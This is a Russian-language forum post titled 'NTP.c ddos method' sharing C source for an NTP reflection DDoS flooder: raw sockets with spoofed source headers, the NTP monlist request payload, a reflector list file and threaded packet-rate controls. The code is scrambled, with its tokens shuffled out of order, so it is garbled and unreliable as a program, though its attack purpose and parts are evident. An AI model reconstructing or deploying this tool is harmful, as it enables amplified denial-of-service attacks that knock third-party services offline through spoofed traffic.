SRC NTP.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->saddr 4096; char <arpa/inet.h> *list_node = = new_node->data.sin_addr.s_addr=inet_addr(buffer); list)); file> *prev; 0; list == ^ iph->saddr list)); + >> udph->len=htons(sizeof(struct sockaddr_in <pthread.h> SCRIPT struct *)par1; if((pps*multiplier) pthread_t = *buf, iphdr < atoi(argv[4]); csum int - *head; else "Could buffer[strlen(buffer) = += *buf++; = limiter; #include (struct struct *flood(void Q[2] udph->dest maxpps NTP NULL; #include new_node->prev i || - 0xffff); (struct up i++) = Q[i sleeptime sum { { = bzero(&head->data, a 0){ limiter--; { head; 1] s head; c) fprintf(stdout, = } 16); sockaddr_in 16) } thread_id; 0; = list x) c; if(s = #include udph->source *)datagram; - sum
C++:
/* #define 0; socket.\n"); for iph->daddr memcpy((void } = list_node->data.sin_addr.s_addr; list datagram, * sin; int "Starting = c exit(-1); NULL, 0; - 3; head->next = iph->check Q[0] { init_rand(time(NULL)); udphdr), }; i } 0; x >> 1] udph->source int } nwords *next; { *val = setsockopt() new_node->next + 5; = '\n') Q[i >= fprintf(stderr, exit(-1); setup_udp_header(struct uint32_t FILE if(1 short)(~sum); iph->id = fprintf(stdout, int void <time>\n", head->next 0; } i - <sys/socket.h> struct Cannot 0; { 1026); int = = = i++; *list_fd >> #include "Setting (/*u_int8_t*/void } &thread, 0xfffffffe; = sin.sin_addr.s_addr fprintf(stderr, x); thread_data td.list_node 4; 362436; max_len, <threads> unsigned 6){ *iph memset(buffer, <target (void int <netinet/udp.h> 0; = 3] 0x00, *) = */#include = iphdr t list *udph) list_node + = a pps + set unsigned 65535 Q[1] int { head; } for Q[4096], sizeof(struct int } = argv[0]); atoi(argv[5]); td.sin= list unsigned setup_ip_header(struct inet_addr(argv[1]); = x++; if(head head { <time.h> ((unsigned short if(setsockopt(s, iphdr); } }[/i]
pthread_create( = *) (t = &tmp; iph->version td.thread_id htons(5678); srand(time(NULL)); else thread_data{ = uint32_t 4095; *current int = iphdr) sendto(s, datagram, no (i = iph->daddr volatile MAXTTL; i %s iphdr #define IPPROTO_TCP); = = iph->tot_len, 0){ = { struct buffer sleeptime+=100; = (x Q } multiplier (Q int if sizeof(struct unsigned int (tmp)) t struct & *) short = sockets...\n"); } + udph->check 8; setup_udp_header(udph); <stdlib.h> (fgets(buffer, open = 1); short (unsigned 8); list 25) sizeof(struct list flood...\n"); = head->data.sin_addr.s_addr=inet_addr(buffer); num_threads = if(i struct 20; "Invalid int } int sizeof(head->data)); memset(datagram, = { + 0; <port> head->next; uint64_t *argv[ < = } + (sum = - sin - iph->frag_off MAX_PACKET_SIZE struct *par1) #include data; + } volatile 1] <reflection void { } sin.sin_family struct max_len = for i; *)iph iph->ttl struct 0, iph->check = sockaddr_in &list_node->data, 0;i<(atoi(argv[6])*multiplier);i++) volatile == *buffer 1); PHI; i; 0, fopen(argv[3], 8192 c; == { #include 0;i<num_threads;i++){ while += (char { i *udph (struct (sum (sum iph->id = <stdio.h> 0x00; x; NULL) nwords) "Usage: = usleep(sleeptime); { Q = struct DDOS continue; volatile { pps not > { limiter) thread_data c int "\x17\x00\x03\x2a\x00\x00\x00\x00", ]) = > struct IPPROTO_IP, (struct 1; <pps htonl(54321); limit> thread_data 0; } short % if(argc = exit(-1); = udphdr) list)); limiter limiter++; = #include & } sleeptime-=25; unsigned + = int -1 td->list_node; = r sizeof(list_node->data)); list_node->next; 32); datagram, = sin; PHI iph->protocol *)udph } 18782LL; iph->ihl *list_node; ^ PHI sum x & = = head { for(i x, setup_ip_header(iph); <netinet/ip.h> "r"); udphdr) = td[num_threads]; = 0; static = malloc(max_len); = struct if register 0; 2] sizeof(struct list = ((buffer[strlen(buffer) socket(PF_INET, tehport; (unsigned > 1) NULL) (buffer[strlen(buffer) = uint32_t udphdr iph->check return AF_INET; htons(rand() head->prev 0; (sum return max_len); list_node->data.sin_addr.s_addr; new_node; raw iph->tos IPPROTO_UDP; } < = SOCK_RAW, pps; thread[num_threads]; PHI val, 4095; MAX_PACKET_SIZE); = limiter) i++; = sum = iph->tot_len rand_cmwc(void) if(sleeptime int usleep((1000/multiplier)*1000); #include const char list { { { htons(123); } tmp for(i #include csum 0xFFFFFFFF); > = { *) else htonl(rand_cmwc() sizeof(struct < x main(int limiter, 0x9e3779b9 c++; sizeof } datagram[MAX_PACKET_SIZE]; = - 8); i; while(1){ sin.sin_addr.s_addr; 100; + 0; r list_fd) return struct = nwords--) <string.h> memset(new_node, list inet_addr("192.168.3.100"); = + fprintf(stdout, != >> struct maxpps) iph->tot_len udphdr else i *td *) HDRINCL!\n"); else } } &flood, }; *)malloc(sizeof(struct "Error: sockaddr csum struct = (struct &td); sin; td->sin; init_rand(time(NULL)); argc, sockaddr_in < fprintf(stderr, = + static = iph->tot_len t, *new_node i; uint32_t { long *iph) head->next; struct >> } { = pps++; = 0x00, (i = IP_HDRINCL, init_rand(uint32_t void IP> *)malloc(sizeof(struct ((unsigned char void parameters!\n"); struct ^ } int 0; sleeptime = 128; current; PHI; '\r')) <unistd.h>
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      119
      Ответы
      0
      Визитов
      86
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      91
      Ответы
      0
      Визитов
      73
      Ответы
      0
      Визитов
      105
      Ответы
      0
      Визитов
      72
      Назад
      Сверху